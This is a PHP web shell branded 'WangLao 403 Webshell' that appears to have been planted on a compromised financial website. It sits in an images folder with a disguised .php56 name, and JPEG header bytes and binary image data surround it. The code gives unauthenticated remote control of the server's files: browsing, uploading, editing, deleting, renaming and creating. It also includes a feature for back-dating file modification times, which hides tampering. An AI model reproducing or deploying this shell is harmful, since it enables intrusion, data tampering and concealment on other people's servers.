/home/thegtkjw/cresviafinancial.com/assets__549d4a8/images/1762921753xwanglaoo.php56
���C




<?php
// Ensure session starts only once
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// header("X-XSS-Protection: 0");
ob_start();
set_time_limit(0);
error_reporting(0);
ini_set('display_errors', FALSE);

if (!isset($_SESSION['home_directory'])) {
    $_SESSION['home_directory'] = __DIR__;
}

$home_directory = $_SESSION['home_directory'];
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Manager</title>
<!-- Link Font Awesome -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
/* Basic styles */
body {
    font-family: 'Ubuntu Mono', monospace; background-color: #181818; color: #f0f0f0; margin: 0; padding: 20px;
}

/* Main container */
.container {
    max-width: 90%; padding: 30px; border-radius: 15px; box-shadow: 0px 6px 20px rgba(0, 0, 0, 0.6);
    background-color: #252525; margin: 0 auto; border: 1px solid #333;
}

/* Path navigation */
.path-navigation {
    margin-bottom: 25px; padding: 15px; background-color: #333; border-radius: 8px; font-size: 1.1em;
}
.path-navigation a {
    color: #1e90ff; text-decoration: none; font-weight: bold; transition: color 0.3s, text-shadow 0.3s;
}
.path-navigation a:hover {
    color: #6495ed; text-shadow: 0px 0px 5px #6495ed;
}

/* Table */
table {
    width: 100%; border-collapse: collapse; margin-bottom: 25px;
}
th, td {
    padding: 5px; text-align: left; border-bottom: 1px solid #444; color: #f0f0f0; transition: background-color 0.3s ease, transform 0.2s;
}
th { background-color: #333; font-weight: 600; }
td { background-color: #252525; }
tr:hover td { background-color: #1e1e1e; transform: scale(1.01); }

/* Action forms */
.action-container {
    display: flex; justify-content: space-between; margin-bottom: 25px; gap: 25px; flex-wrap: wrap;
}
.action {
    flex: 1; min-width: 300px;
}
input[type="file"], input[type="text"], textarea {
    width: 100%; padding: 12px; margin: 10px 0; box-sizing: border-box; border: 1px solid #555;
    background-color: #1c1c1c; color: #f0f0f0; border-radius: 8px;
}
input[type="submit"] {
    background-color: #1e90ff; color: white; padding: 10px 15px; border: none; border-radius: 6px; cursor: pointer;
    font-weight: bold; transition: background-color 0.3s ease, box-shadow 0.3s ease;
}
input[type="submit"]:hover {
    background-color: #6495ed; box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.5);
}

/* Edit form */
.edit-form {
    margin-top: 25px; background-color: #2e2e2e; padding: 20px; border-radius: 10px; border: 1px solid #444;
}

/* Action icons */
.action-icons a {
    margin: 0 10px; text-decoration: none; color: #f0f0f0; font-size: 20px; position: relative;
    transition: color 0.3s ease, transform 0.3s ease;
}
.action-icons a:hover {
    color: #1e90ff; transform: scale(1.2);
}

/* Tooltip */
.action-icons a::after {
    content: attr(data-tooltip); position: absolute; background-color: #333; color: #f0f0f0; padding: 5px;
    border-radius: 5px; top: -30px; left: 50%; transform: translateX(-50%); white-space: nowrap; font-size: 12px; display: none;
}
.action-icons a:hover::after { display: block; }

/* Folder links */
table td a {
    color: #f0a500; /* Yellow color for folders */
}
table td a:hover {
    color: #ffd700; /* Brighter color on hover */
    text-decoration: underline;
}

/* Adjust folder icons */
.icon {
    display: inline-block; margin-right: 10px; /* Add margin to create space between icon and text */
}

/* Logo */
.logo {
    display: flex; justify-content: space-between; align-items: center; margin-bottom: 10px;
}
.header-left { flex: 1; text-align: left; }
.header-right { flex: 1; text-align: right; }
.header-right img { height: 60px; }

/* Buttons */
.btn {
    background-color: #1e90ff; color: white; padding: 10px 15px; border: none; border-radius: 6px; cursor: pointer;
    font-weight: bold; transition: background-color 0.3s ease, box-shadow 0.3s ease;
}
.btn:hover {
    background-color: #6495ed; box-shadow: 0px 4px 10px rgba(0, 0, 0, 0.5);
}

/* Footer */
.footer {
    text-align: center; padding: 10px; background-color: #333; color: #f0f0f0; font-size: 0.9em; margin-top: 20px;
    border-top: 1px solid #444; border-radius: 0 0 15px 15px; box-shadow: 0px -3px 6px rgba(0, 0, 0, 0.2);
}
.footer p { margin: 0; }

</style>
</head>
<body>
<div class="container">
<!-- Company logo -->
<div class="logo">
<div class="header-left">
<h1 style="color: #f0f0f0; font-family: 'Poppins', sans-serif;">WangLao Bypass</h1>
</div>
<div class="header-right">
<img src="https://i.pinimg.com/originals/80/7b/5c/807b5c4b02e765bb4930b7c66662ef4b.gif" alt="Logo">
</div>
</div>

<?php 
echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
?>

<!-- Home File Button -->
<div class="path-navigation">
<a href="?j=<?php echo $home_directory; ?>" class="home-button">Home File</a>
</div>

<?php
// Show SweetAlert if there's a notification
if (isset($_SESSION['notification'])) {
    $notification = $_SESSION['notification'];
    echo "<script>
    Swal.fire({
    icon: '{$notification['type']}',
    title: '{$notification['title']}',
    text: '{$notification['text']}'
});
</script>";
unset($_SESSION['notification']); // Remove notification after displaying
}

// Function to format file size
function formatSize($bytes) {
    $units = ['B', 'KB', 'MB', 'GB'];
    for ($i = 0; $i < count($units) && $bytes >= 1024; $i++) {
        $bytes /= 1024;
    }
    return round($bytes, 2) . ' ' . $units[$i];
}

// Handle upload action
if (isset($_POST['upload'])) {
    $current_dir = isset($_GET['j']) ? $_GET['j'] : getcwd();
    $current_dir = rtrim(realpath($current_dir), '/') . '/';

    if (!is_writable($current_dir)) {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'Directory is not writable.'];
        header("Location: ?j=" . htmlspecialchars($current_dir));
        exit;
    }

    $target_file = $current_dir . basename($_FILES['fileToUpload']['name']);
    if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
        $_SESSION['notification'] = ['type' => 'success', 'title' => 'Upload Successful!', 'text' => "File successfully uploaded to: $target_file"];
    } else {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'File upload failed.'];
    }
    header("Location: ?j=" . htmlspecialchars($current_dir));
    exit;
}

// Handle delete action
if (isset($_GET['delete'])) {
    $file_to_delete = $_GET['delete'];
    if (is_dir($file_to_delete)) {
        $success = rmdir($file_to_delete); // Delete folder
    } else {
        $success = unlink($file_to_delete); // Delete file
    }

    if ($success) {
        $_SESSION['notification'] = ['type' => 'success', 'title' => 'Delete Successful!', 'text' => 'Item successfully deleted.'];
    } else {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'Delete Failed!', 'text' => 'Failed to delete item.'];
    }
    header("Location: ?j=" . htmlspecialchars(dirname($file_to_delete)));
    exit;
}

// Handle rename action
if (isset($_POST['rename'])) {
    $old_name = $_POST['old_name'];
    $new_name = $_POST['new_name'];
    if (file_exists($old_name)) {
        if (rename($old_name, dirname($old_name) . '/' . $new_name)) {
            $_SESSION['notification'] = ['type' => 'success', 'title' => 'Rename Successful!', 'text' => 'File or folder name successfully changed.'];
        } else {
            $_SESSION['notification'] = ['type' => 'error', 'title' => 'Rename Failed!', 'text' => 'Failed to change file or folder name.'];
        }
    } else {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'File Not Found!', 'text' => 'File or folder not found.'];
    }
    header("Location: ?j=" . htmlspecialchars(dirname($old_name)));
    exit;
}

if (isset($_POST['change_date'])) {
    $file_to_touch = $_POST['touch_file'];
    $new_date = $_POST['new_date'];

    // Validate date format
    $timestamp = strtotime($new_date);
    if ($timestamp === false) {
        $_SESSION['notification'] = [
            'type' => 'error',
            'title' => 'Invalid Date!',
            'text' => 'Please enter a valid date format (YYYY-MM-DD HH:MM:SS).'
        ];
    } elseif (!file_exists($file_to_touch)) {
        $_SESSION['notification'] = [
            'type' => 'error',
            'title' => 'Path Not Found!',
            'text' => 'The file or folder does not exist.'
        ];
    } else {
        // Change last modification date
        if (touch($file_to_touch, $timestamp)) {
            $_SESSION['notification'] = [
                'type' => 'success',
                'title' => 'Date Changed!',
                'text' => 'Last modification date has been updated for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.'
            ];
        } else {
            $_SESSION['notification'] = [
                'type' => 'error',
                'title' => 'Change Failed!',
                'text' => 'Failed to update last modification date for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.'
            ];
        }
    }
    header("Location: ?j=" . htmlspecialchars(dirname($file_to_touch)));
    exit;
}

// Handle new file creation
if (isset($_POST['create_file'])) {
    $file_name = $_GET['j'] . '/' . $_POST['new_file'];
    if (file_put_contents($file_name, '') !== false) {
        $_SESSION['notification'] = ['type' => 'success', 'title' => 'New File Successful!', 'text' => 'New file successfully created.'];
    } else {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'New File Failed!', 'text' => 'Failed to create new file.'];
    }
    header("Location: ?j=" . htmlspecialchars($_GET['j']));
    exit;
}

// Handle new folder creation
if (isset($_POST['create_folder'])) {
    $folder_name = $_GET['j'] . '/' . $_POST['new_folder'];
    if (mkdir($folder_name)) {
        $_SESSION['notification'] = ['type' => 'success', 'title' => 'New Folder Successful!', 'text' => 'New folder successfully created.'];
    } else {
        $_SESSION['notification'] = ['type' => 'error', 'title' => 'New Folder Failed!', 'text' => 'Failed to create new folder.'];
    }
    header("Location: ?j=" . htmlspecialchars($_GET['j']));
    exit;
}

// Show SweetAlert if there's a notification
if (isset($_SESSION['notification'])) {
    $notification = $_SESSION['notification'];
    echo "<script>
    Swal.fire({
    icon: '{$notification['type']}',
    title: '{$notification['title']}',
    text: '{$notification['text']}'
});
</script>";
unset($_SESSION['notification']); // Remove notification after displaying
}

// Determine directory
$j = isset($_GET['j']) ? $_GET['j'] : getcwd();
$j = str_replace('\\', '/', $j);
$paths = explode('/', $j);

// Path navigation
echo '<div class="path-navigation">';
echo '<a href="?j=/"><img src="https://i.pinimg.com/originals/be/be/fd/bebefd1f9715745ac0bcfcf443d728b2.gif" style="width: 50px; height: 50px; vertical-align: middle;"></a> / ';
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) continue;
    echo '<a href="?j=';
    for ($i = 0; $i <= $id; $i++) {
        echo "$paths[$i]";
        if ($i != $id) echo "/";
    }
    echo '">' . htmlspecialchars($pat) . '</a>/';
}
echo '</div>';

// Separate action forms
echo '<div class="action-container">';
echo '<form class="action" action="" method="post" enctype="multipart/form-data">
<label>Upload File:</label>
<input type="file" name="fileToUpload" required>
<input type="submit" name="upload" value="Upload File">
</form>';
echo '<form class="action" action="" method="post">
<label>Create Folder:</label>
<input type="text" name="new_folder" placeholder="New folder name">
<input type="submit" name="create_folder" value="Create Folder">
</form>';
echo '<form class="action" action="" method="post">
<label>Create File:</label>
<input type="text" name="new_file" placeholder="New file name">
<input type="submit" name="create_file" value="Create File">
</form>';
echo '</div>';

// Table for folder and file list
echo '<table>';
echo '<tr>
<th>Directory/File</th>
<th>Size</th>
<th>Last Modification</th>
<th>Permissions</th>
<th>Action</th>
</tr>';

$scandir = scandir($j);

// Loop for folders first
foreach ($scandir as $file) {
    if ($file == '.' || $file == '..') continue;
    $full_path = "$j/$file";

    // If folder
    if (is_dir($full_path)) {
        $last_modification = date("Y-m-d H:i:s", filemtime($full_path)); // Modification time
        echo '<tr>';
        echo '<td><span class="icon"><i class="fas fa-folder"></i></span><a href="?j=' . htmlspecialchars($full_path) . '">' . htmlspecialchars($file) . '</a></td>';
        echo '<td>-</td>'; // Size for folder is "-"
        echo '<td>' . $last_modification . '</td>';
        echo '<td>' . substr(sprintf('%o', fileperms($full_path)), -4) . '</td>';
        echo '<td class="action-icons">
        <a href="#" onclick="showRenameForm(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Rename"><i class="fa-solid fa-pen"></i></a>
        <a href="#" onclick="confirmDelete(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Delete"><i class="fas fa-trash"></i></a>
        <a href="#" onclick="showTouchForm(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Change Date"><i class="fas fa-calendar-alt"></i></a>
        </td>';
echo '</tr>';
    }
}

// Loop for files
foreach ($scandir as $file) {
    if ($file == '.' || $file == '..') continue;
    $full_path = "$j/$file";

    // If file
    if (!is_dir($full_path)) {
        $size = formatSize(filesize($full_path)); // Get file size
        $permissions = substr(sprintf('%o', fileperms($full_path)), -4);
        $last_modification = date("Y-m-d H:i:s", filemtime($full_path)); // Modification time
        $file_info = pathinfo($file);

        // Determine icon based on file type
        $icon = '<i class="fas fa-file"></i>'; // Default file icon
        if (isset($file_info['extension'])) {
            $ext = strtolower($file_info['extension']);
            if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) {
                $icon = '<i class="fas fa-file-image"></i>';
            } elseif (in_array($ext, ['mp4', 'mkv', 'avi', 'mov'])) {
                $icon = '<i class="fas fa-file-video"></i>';
            } elseif (in_array($ext, ['mp3', 'wav', 'ogg'])) {
                $icon = '<i class="fas fa-file-audio"></i>';
            } elseif (in_array($ext, ['zip', 'rar', '7z', 'tar', 'gz'])) {
                $icon = '<i class="fas fa-file-archive"></i>';
            } elseif (in_array($ext, ['doc', 'docx', 'odt'])) {
                $icon = '<i class="fas fa-file-word"></i>';
            } elseif (in_array($ext, ['xls', 'xlsx', 'ods'])) {
                $icon = '<i class="fas fa-file-excel"></i>';
            } elseif (in_array($ext, ['ppt', 'pptx', 'odp'])) {
                $icon = '<i class="fas fa-file-powerpoint"></i>';
            } elseif (in_array($ext, ['pdf'])) {
                $icon = '<i class="fas fa-file-pdf"></i>';
            } elseif (in_array($ext, ['txt', 'log', 'md'])) {
                $icon = '<i class="fas fa-file-alt"></i>';
            } elseif (in_array($ext, ['php', 'html', 'css', 'js', 'py', 'java', 'c', 'cpp'])) {
                $icon = '<i class="fas fa-file-code"></i>';
            }
        }

        echo '<tr>';
        echo '<td><input type="checkbox" name="selected_items[]" value="' . htmlspecialchars($full_path) . '" style="margin-right: 10px;">
        <span class="icon">' . $icon . '</span>' . htmlspecialchars($file) . '</td>';
        echo '<td>' . $size . '</td>';
        echo '<td>' . $last_modification . '</td>';
        echo '<td>' . $permissions . '</td>';
        echo '<td class="action-icons">
        <a href="?edit=' . htmlspecialchars($full_path) . '" data-tooltip="Edit"><i class="fas fa-edit"></i></a>
        <a href="#" onclick="showRenameForm(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Rename"><i class="fa-solid fa-pen"></i></a>
        <a href="#" onclick="confirmDelete(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Delete"><i class="fas fa-trash"></i></a>
        <a href="#" onclick="showTouchForm(\'' . htmlspecialchars($full_path) . '\')" data-tooltip="Change Date"><i class="fas fa-calendar-alt"></i></a>
        </td>';
echo '</tr>';
    }
}

// When user opens a file for editing
if (isset($_GET['edit'])) {
    $file_to_edit = $_GET['edit'];
    if (file_exists($file_to_edit)) {
        $content = file_get_contents($file_to_edit);
        echo '<form action="" method="post">
        <textarea name="file_content" rows="10" cols="50" style="width: 100%; box-sizing: border-box;">' . htmlspecialchars($content) . '</textarea>
        <input type="hidden" name="file_to_edit" value="' . htmlspecialchars($file_to_edit) . '">
        <input type="submit" name="save_edit" value="Save Changes" class="btn">
        <a href="?j=' . htmlspecialchars(dirname($file_to_edit)) . '" style="text-decoration: none;">
        <button type="button" class="btn">Back</button>
        </a>
        </form>';
    } else {
        echo "<script>
        Swal.fire({
        icon: 'error',
        title: 'File Not Found',
        text: 'The file you are trying to edit does not exist.'
    }).then(() => {
    window.location.href = '?j=" . htmlspecialchars(dirname($file_to_edit)) . "';
    });
    </script>";
    }
}

// When user saves changes
if (isset($_POST['save_edit'])) {
    $file_to_edit = $_POST['file_to_edit'];
    $file_content = $_POST['file_content'];
    if (file_put_contents($file_to_edit, $file_content) !== false) {
        echo "<script>
        Swal.fire({
        icon: 'success',
        title: 'Success',
        text: 'File saved successfully.'
    }).then(() => {
    window.location.href = '?j=" . htmlspecialchars(dirname($file_to_edit)) . "';
    });
    </script>";
    } else {
        echo "<script>
        Swal.fire({
        icon: 'error',
        title: 'Failed',
        text: 'Failed to save file.'
    });
    </script>";
    }
}
?>

<div id="touch-form" style="display:none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: #252525; padding: 20px; border-radius: 8px; box-shadow: 0px 4px 15px rgba(0, 0, 0, 0.5);">
<form action="" method="post">
<h3 style="color: #f0f0f0;">Change Last Modification Date</h3>
<input type="hidden" name="touch_file" id="touch-file">
<label for="new_date" style="color: #f0f0f0;">New Date (YYYY-MM-DD HH:MM:SS):</label>
<input type="text" name="new_date" required style="width: 100%; padding: 10px; margin-top: 10px; margin-bottom: 20px; border-radius: 5px; background-color: #1c1c1c; color: #f0f0f0;">
<input type="submit" name="change_date" value="Change Date" style="background-color: #1e90ff; color: white; padding: 10px 15px; border: none; border-radius: 6px; cursor: pointer;">
<button type="button" onclick="closeTouchForm()" style="background-color: #555; color: white; padding: 10px 15px; border: none; border-radius: 6px; cursor: pointer; margin-left: 10px;">Cancel</button>
</form>
</div>

<!-- Rename Form -->
<div id="rename-form" style="display:none;">
<form action="" method="post">
<input type="hidden" name="old_name" id="old-name">
<label>Rename to:</label>
<input type="text" name="new_name" required>
<input type="submit" name="rename" value="Rename">
</form>
</div>

<script>
function showRenameForm(filePath) {
    document.getElementById("old-name").value = filePath;
    document.getElementById("rename-form").style.display = "block";
}

function confirmDelete(filePath) {
    Swal.fire({
        title: 'Are you sure?',
        text: "This action cannot be undone!",
        icon: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#d33',
        cancelButtonColor: '#3085d6',
        confirmButtonText: 'Yes, delete it!',
        cancelButtonText: 'Cancel'
    }).then((result) => {
        if (result.isConfirmed) {
            // Redirect to delete URL if user clicks "Yes, delete it!"
            window.location.href = '?delete=' + encodeURIComponent(filePath);
        }
    });
}

function showTouchForm(filePath) {
    document.getElementById("touch-file").value = filePath;
    document.getElementById("touch-form").style.display = "block";
}

function closeTouchForm() {
    document.getElementById("touch-form").style.display = "none";
}
</script>
</div>
</div>
</body>
</table>
<footer class="footer">
<p>WangLao 403 Webshell ? <?php echo date("Y"); ?>. Created with ? by WangLao Team.</p>
</footer>
</html>



	
%# , #&')*)-0-(0%()(��C



(((((((((((((((((((((((((((((((((((((((((((((((((((����"�������@�@�hC��}!���Ѱ��<"�
9iׂIIIHk�+?�c?��*Y����!�du)b�T�9вU�$8G��I.�澬��D���Sq�
q�}.<��Z�l�V!X�
*x�-�\����t3i�Ũ�sNv71�ƛ\��z|t�L���$�����*f��kʮ��7�H;���~F%�'3�@�H�q�`	9mOL����/x@ @��G<o�)��3��p��XʱK�gg�q�Q��ST���'��
\Yф�k���(		�Ò*�����@g��L�Kv��Յ��^i�u<͎�(%�
O�$0՝-/��H��ӑ�
cM:�Y�%a	���#+}�2'���i����:X��4�ji���V���>d�8F�ه��Ka�Kdr�Fh.�]y4
JЛ�]�K�B�E$��$	$	�PR���΀�G�]��u�i$�$���'! "#031���C/Td=S�Q?���62Ccj{ ����̏d�چ/c�V�`��Wz͈�{Y`�d�h�L
�]OB���l���o���mr���n��s-ڗEZ��N�_�1%b���H�ϣ������V�7):�ӷ)�}�~�(�;�!�b1�5K��[E�vϻ>��q.%�
���O���(�c�#x�$�'+��`٥v��v(����M�"�v��B��.�a ���T�~�ϕ�hy(6nݱl��1yNɓx�������AR�8�rqv1.cS�+��_�&@��
�u�M�5Ĉ�Xm���eL�X�q��y#�9]�c�}ɄL��d�eJ몓���I1T�d��CaM�$��T�,�X
�bʭ�!�%F5��X1x#���!�q��\��F��2��&Rq���C�ol~�̱�.0ϦL�d�`.������
��m{�Y~k{C��}bv�;U��c<�r�~ɜs�1�j��]W�l��*նCr��Q�N9�-�����d��E؛��nF��eړ�8(q��5UgRȱGTA��*����̆��V�珰����ezN��h�U]�T�FG�^���<��ay�,!���5.�
�u�b�V�J%�m�Dxn'�����6�@BPa�`��Hts�
�ɮ���Ŏ�Zɬ��%B�X��d5Z���hC}�䅸�p+
k=��ʒ(�aՏFG&�%@/�{+�Yu+�ȣGѩ"O%�|vȲxF>�N(��ou�h6	&Y5��8�7�E$-��']n,@TD\��+���Ry�U��U^�Q,f>��1����q��f��U���
���F��ڥ��>I�����fNUw�u��#OMMQ6� N�*��_��	k� ����rS��`���1�:��!�F'<+�
� b?O��2	!Q12A��� "3a������#$��?�,�7�!`yǮ(�1�6w��a����
�F�#��?*"s���v>��Ⱥ����f�v��͑��s����������]Gn�S	���ȥpG
ы�E�g�)Z���x�rY�q�]�@f�_܃�pչEڎّC ����Ŝ*/	�h�O�Sv�و\��5��U��y��|o�Hm2C�S�BW����)��5��{T��W���=o*RA��<���L0g4{��쁢�ep�rw�8��7��U���t<Ԍѻ7�fGf�k}��Ê�㛆Gռz�Q@��{C��'G��8�!�S$�j��x���|���צV<��,���u�k�uu�rM�f�_dϣi ߫�ԟn�!K����mxu�=�槻�'j�X�����������%!A "1QR#Br��?�R:��R�n�b[�II?#��6<:�$gN����lGNlrr��dעMMn`ɿy�,�%B�e�W��dVS��r����	%�tT��(�ɷ��S�]�O]#�_LEMHN�M���kv��~X��O6�׿U�V_�����b��J�t�774���D!1AQa"2q�#3BRb����0���� 4CSr����cst����?��^q���7�dG�U�"p��moz��'��n_x���唹e����<6��O�t���R>k��s=�Cr���e�?�i��� ���/��ں$be���o`ޮ�GHy�;fNAl�8��.�\�S������"��a�úF�YvNk�-*`v�k�ʈ2f�EE��Wa�,�
�fF^#�;��[9��^~�����Y$:0#W3������Z*���I�Z�ڹ�k�n--9=��G��;7F)m{T�Ɇ��=�����Ȭ5�5�B�aڞ5M����#m�5Ʀ��m�8��+Hh���$�}�:&�e�Q�[;i]С�:�:��o����$<~��5RB�?�s3�5�r��O��ֿ�w�P/��̅���(�Z6�R>)��N��4�!ʊ�wz�-�r�w+�yk���q�1�bKhƸ�4N�Ӑ�X���Q��_��})�+e1�5��n��q?��[�^�9�<�z3Fsi�8�'�)9p)�{��RP�Z+�*��p(aY��V����6l�g�9��;���d�u���Nt@�3�sTwzaŇ�GT�b�H��(#��*zc�������9K�b1�����t����Ê��<G�CZ]�x���#���Nc�h�+���R�G��$]��W3{?\W�7{'��Vi��h�$�*�S���rF��%ê�ׇ5卾��}t�G�[�Oϵm��[�.�9~�^+�=����NC�*G��&,�󭼑�Q��sE��� �ٷ���_�������Onꐁ$g�*+ew�U�g9��U\|�֋��W�W�ix|��1O�J&��vTU�A��*�D�[��f	�-���{��P�!���D�3N�_%�3���xw��~�����g�T4��J��X����K9;1ޜ��ѱ�����{\[�:,�.����H��.��d��r���SݣB�:��UsA�VG�������!�w��
bs$��t�'b�H]��2��J7�����my��!����h��OE��P�u���.�Mx��5�m���΃��^
�.�Ӛs�%�t�ܭm�:�����ϔ�w�^O��[~.@�K߾�,E+�?&v);<��������\��V������R������1�v���+n��iT�jh��}mݚ�>
�Z?g�iD���H�R���B���^M����v���O���L�D,'d�q�C�P�����$Δ��U�֟֊=�s��F�$��J�ދZ?�N�������A�N�WP��,��
�¦򙈉�&;�x��dup���i���Ipd��;�Dž!��ֿѮAb%�u��}j��-p��>I�[�N�bi����G�'�;4w�m]H�]��#LӘNN��R�������s�.]��en��-�8e�Ps����Q��;���ț�E�ݫ���7��g�_L��W��EZ:/��I���a�g�n�ܤ��iٹ���ŷ�T�H~i�a����֎�~KV������
A-2m]�F"�m�9-Zbǰ�״ @����~�4�N�[�Uxč�tl>������u#r�gѐ�3���;M9�<�J�����1�vfL8��׋��1�P�HgP�Xv��������{����O�}�n��KQ؋����7<�l�fey<�}�>�bX���4<`Y7���si��V)�s�:�{�rO�h�z �@4VW�B���&�������ɡob܋�F��4>y�s�fXWS�N�O$�,.u:�ԫ��g�yao4��$h��D#��ٸf^kh�7�#1Z�֥&���*�v-��;bޭ����Q�����h�ow�y]�ه.+�7�M�ⴻ
�JY��g�f�i3q��KC��3�¹�?5�Z.N��^Z
w���KF͂���7��ރ۞��wj��T�J.�q�Š�\Sv1U����R��욽&�N����pЖ`�`у��m`v�n#z��4��>e��V�`'���h�����'�j�AҔ�-�4:H���n]9�h<��n����U�6m��2c�E�1/�Y�%���I��~ʏ�|VBƟ@���;�����%�M9M���}��1�D��d���%g�O��]��у&�r��f�7�uܲ���(!1AQaq������0� ��?!��*��@)�Je�G��j��{�['��v+��������)���(�/����д%젍Z��kk�Lu�Rm���j.c���@Z�
V�J��d��j���h6���2AO�� a;oBu���H�=���nK�W8�B�ɰ�u?��бأm,�sr����|����8˨i��qI2tZ�ۄJP��XE��������zޔj~]UMu����zv!����N�&�1�Y��zJ�ՠ��\p��o'ሸ�C؊Y�TD"HM5�Ъ��i߯a���F����A)�����ڮ����z�E���@�hg�֝8�1jk��\�M�3�8ܢ��	������s�7����N}�ޭ����GN�Bc���L
pk�;�J�δ3�e�iU�gAYW]\�>�GyگQ=��f�KA;T�a`eM+Q ��
�Ln���̌]GM����<Ħ�j���H��N�M�x�}aX{̣S�	��ԅ��n�MA�S�r�(���(�L��zo9���.�;<R��w�u��R�`_�RA�]�-j	�	f[Ԡ�Ɏ�k�P����K���Q��b�o��h�i&���{�r��ãb��˫ݾ���O^��:%���gW��]DIci�P+^ob���;���b�!�9���R.�>�ӳf������`Ӕ٢3��
IW��\9~_���saa�\ԊW�ܭX:���ӆ�38�ty*����N�qP����BI�Y��jE��>DP�!�R%-��4��'�皺;��~J�!�7m��X�h�P!曭���$�\�AYj�.lC��4��+�jD�dgC0-*���|��`ZD�+л�C"��)��s��8Kq�pq���Ms��4�	��7\U`�.��[Ey8��AH!/��,���(:M
-�T䓥�~O�4-���Ԓn��}HDN7���K���$�_Ԕ䚞`�R�hB�_aX?4V��ŗ�@ه�u�a�;�{PcT+�������7YBo�?��r-ͩ{�ĎA��	����˼n��M286��G���1���V�˜Jв"l��V5���5�C]h��̊�A���%�
�'p���Ԃ���Ր��9=�d�=�e�{�'<3�_
�:^�~��4�(�n�-C�s��5m![�jmIqU�~�Tw8��`���p�H8�u�Д l
m�aP�0�������9y����CM��F1G糞�.�U~�������FC�{�!e(Y�:���P���7~;�L�N^{�1r�\���ԬG(���0d�ÏO�qK�Z�⑼�T�{
2��s��Kd�Տ?mMQ��=���6�7�i�����H+����9��d�=��;�QؤH8n�Lb�D��yS%�(�{b���Cu���p�t#C���$A"�H{���jqᶯ�:�n=E����hH�`�!�m�MA������?�v6���+MԿ⟚qK�i�D�*Q5��CZ���2�|]�:Xd+�t�:o@��M���
:�32��b����[\5=�ֵ7])�|t��Ϻ����w�B�ń�e���!`�:��I,��9:���j@/a	8����+<�u�(T^ۺ~��2oE�B�%b)��z��ݳځ�)��i�j��&��Fi`qr��w���7�@�P��
�3Z&<�m�S�C����7t�T����ƴ�q~J�e�r6�Z]�rL���ه�E17'�x���+[�ܜTc6�/����W�`�qpMJ���N5^����x�}{l�Fm������1�oZ\�����/d�/6�	�uӸ�0elXuX;M��$M�}mB�������Z%e���3f�js����O�J~2�z�86�*PB��v�Ν��e-��.�/��L�O����2����9���4}|��T5M���hÐ7�F*��l+y⑏0����:|��=k[�d�;|�ԉe�=w�<��õ�<��'!1AQaq����� �����?��5����)�(���+>v����6&{���Ǹ@���M���v��iA 6T'�w��h�s
�E}�x��G&'g��
J~1q�f�f���&��q˘���-���vYm<v���Pt��D��5"Bv����z�H�����4�a�bZ��m�a9j�ٹ&�iք��S�E�T�y[�E9"�cKӶ����G�r�0D�8ah\ǯv�M�:��v��SYu�V�3��)[&ȏr޾��%���83�5�"�v״_M�űc�?���%��'+��h�7�TBH��e`0����U]-�XG|�V��5w�rw@�B�l"oheX�H]	�T�y4{v�
O���^TBC��L$��Εbt�\�W�b�<>�/i1
�I��6��u,)�#�,�΁�l}*&`�$�ͬe�%�w3�x�Ѥ�Xc�D�执g�峕�5B/�|$��=���%8 a��2.l�	c�@G�
�\�/x[өq�]�v5?�����N|�!���\��,>��{�"r�/��?��&!1QAa�� ��ᑱ���?ĊD�肭��	nv@�yޝ (�����I…����U
- ���b�m�E>,��1v!�d�&�� ���&�檔�5D�&0P��Ԕ�͒@Z��:†E"�
Q��`”>PH:~�O�����P�3W�@hM��k�U��\�O��R�������5ʄ�,��f�|��r���}јxo)�"+h�QK���/��0�`�5�{M~��
���'!1AQaq���0 �����?�?�k��#^�~�G��#V,������#Z�1'ܤ���������~p�O%O�O�\�q�`�~��}��E�Ű5 �輸�du���x\�$���s[�{T2t`B��gq�4Z]b� 㛪�3,(@���bAp�r)9:@|b�!r�g:N�^�Ʌ���
�x_�\��pm7I��0?>^k�������w���|.K�[sF@�]Gn*L �yO�
le�P�.p��֍�j�S�=�ʨ�ןQF�"��5zʼn���k�*8�u"
���Fg���
�cSy�V������Ƈ��N��ؐ(����48hV�A�ӎ^��^
���jyB� ��p"�����y]�ļlU�(�7�U`3�pCGF'&yg������o��z����X��ν:�P"@�G@x[��o&MJ�$F.���hi
w;}�/^͇q���n�mN�/�TQ���އ��O1\,}��bQ
#¯^S!)��X���#GPȏ�t��	c^\��'
}iIZ��a�)�����z��4͊�Ξy��48,��f���#�����KP!Jx�|w�ʆ�������������#��Z������<
�~K��r�p&qH/;�R���沽�+�E�R���~0v���V#ʀ�T��S(-ڝ��B�y�b�C�D������b������8��~�= �Y�ͧ]��@n����M�k2�%�;�%,�r6�LR腻?^��;KŇ=�ք
���=`�ɥ��/����z�&�I{��#J�M���C��}�H9^UJ�,P
��pS����G�d69Ϭu���%"��ˢP��K�"k)��=��9� ���㇌,��Oli��Xzh�
" �
����R��^�s����N�k��Q>�63(����
